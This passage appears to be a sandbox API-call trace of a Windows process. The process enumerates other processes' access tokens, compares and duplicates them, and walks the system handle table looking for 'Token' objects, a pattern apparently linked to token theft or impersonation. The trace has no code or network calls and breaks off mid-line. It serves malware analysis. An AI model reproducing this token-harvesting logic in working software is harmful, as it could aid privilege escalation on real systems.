[0196.627] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.627] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.627] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.627] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.627] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.627] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.627] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.627] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.627] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.627] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x19c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.627] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.627] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.627] CloseHandle (hObject=0x16c) returned 1 [0196.628] CloseHandle (hObject=0x168) returned 1 [0196.628] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x360) returned 0x168 [0196.628] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.628] GetCurrentProcess () returned 0xffffffffffffffff [0196.628] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.628] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.628] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.628] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.628] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.628] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.628] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.628] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.628] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.628] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.628] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.628] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x19c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.628] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.628] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.628] CloseHandle (hObject=0x16c) returned 1 [0196.628] CloseHandle (hObject=0x168) returned 1 [0196.629] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb00) returned 0x168 [0196.629] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.629] GetCurrentProcess () returned 0xffffffffffffffff [0196.629] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.629] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.629] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.629] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.629] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.629] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.629] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.629] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.629] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.629] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.629] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.629] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x19c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.629] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x1a0, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.629] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bd00 [0196.629] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x16c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x16bd00, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x16bd00*=0x1a4) returned 1 [0196.629] CloseHandle (hObject=0x16c) returned 1 [0196.629] CloseHandle (hObject=0x168) returned 1 [0196.630] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4e8) returned 0x168 [0196.630] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.630] GetCurrentProcess () returned 0xffffffffffffffff [0196.630] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.630] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.630] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.630] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.630] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.630] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.630] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.630] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.630] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.630] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.630] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.630] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x19c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.630] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.630] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.630] CloseHandle (hObject=0x16c) returned 1 [0196.630] CloseHandle (hObject=0x168) returned 1 [0196.631] LocalFree (hMem=0x18eb70) returned 0x0 [0196.631] RtlInitUnicodeString (in: DestinationString=0x10fa60, SourceString="Token" | out: DestinationString="Token") [0196.631] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x1859f0 [0196.631] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1859f0, Length=0x1000, ResultLength=0x10fa48 | out: SystemInformation=0x1859f0, ResultLength=0x10fa48*=0x432c8) returned 0xc0000004 [0196.659] LocalFree (hMem=0x1859f0) returned 0x0 [0196.661] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x1859f0 [0196.662] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1859f0, Length=0x2000, ResultLength=0x10fa48 | out: SystemInformation=0x1859f0, ResultLength=0x10fa48*=0x432c8) returned 0xc0000004 [0196.663] LocalFree (hMem=0x1859f0) returned 0x0 [0196.663] LocalAlloc (uFlags=0x40, uBytes=0x4000) returned 0x1859f0 [0196.663] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1859f0, Length=0x4000, ResultLength=0x10fa48 | out: SystemInformation=0x1859f0, ResultLength=0x10fa48*=0x432c8) returned 0xc0000004 [0196.665] LocalFree (hMem=0x1859f0) returned 0x0 [0196.665] LocalAlloc (uFlags=0x40, uBytes=0x8000) returned 0x18eb70 [0196.667] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x18eb70, Length=0x8000, ResultLength=0x10fa48 | out: SystemInformation=0x18eb70, ResultLength=0x10fa48*=0x432c8) returned 0xc0000004 [0196.669] LocalFree (hMem=0x18eb70) returned 0x0 [0196.669] LocalAlloc (uFlags=0x40, uBytes=0x10000) returned 0x18eb70 [0196.669] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x18eb70, Length=0x10000, ResultLength=0x10fa48 | out: SystemInformation=0x18eb70, ResultLength=0x10fa48*=0x432c8) returned 0xc0000004 [0196.672] LocalFree (hMem=0x18eb70) returned 0x0 [0196.672] LocalAlloc (uFlags=0x40, uBytes=0x20000) returned 0x18eb70 [0196.673] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x18eb70, Length=0x20000, ResultLength=0x10fa48 | out: SystemInformation=0x18eb70, ResultLength=0x10fa48*=0x432c8) returned 0xc0000004 [0196.677] LocalFree (hMem=0x18eb70) returned 0x0 [0196.677] LocalAlloc (uFlags=0x40, uBytes=0x40000) returned 0x18eb70 [0196.679] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x18eb70, Length=0x40000, ResultLength=0x10fa48 | out: SystemInformation=0x18eb70, ResultLength=0x10fa48*=0x432c8) returned 0xc0000004 [0196.686] LocalFree (hMem=0x18eb70) returned 0x0 [0196.686] LocalAlloc (uFlags=0x40, uBytes=0x80000) returned 0x21f0080 [0196.693] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x21f0080, Length=0x80000, ResultLength=0x10fa48 | out: SystemInformation=0x21f0080, ResultLength=0x10fa48*=0x432c8) returned 0x0 [0196.736] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.736] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.736] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.736] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.736] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.736] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.736] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.736] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.737] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.738] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.739] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.740] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.741] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.742] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 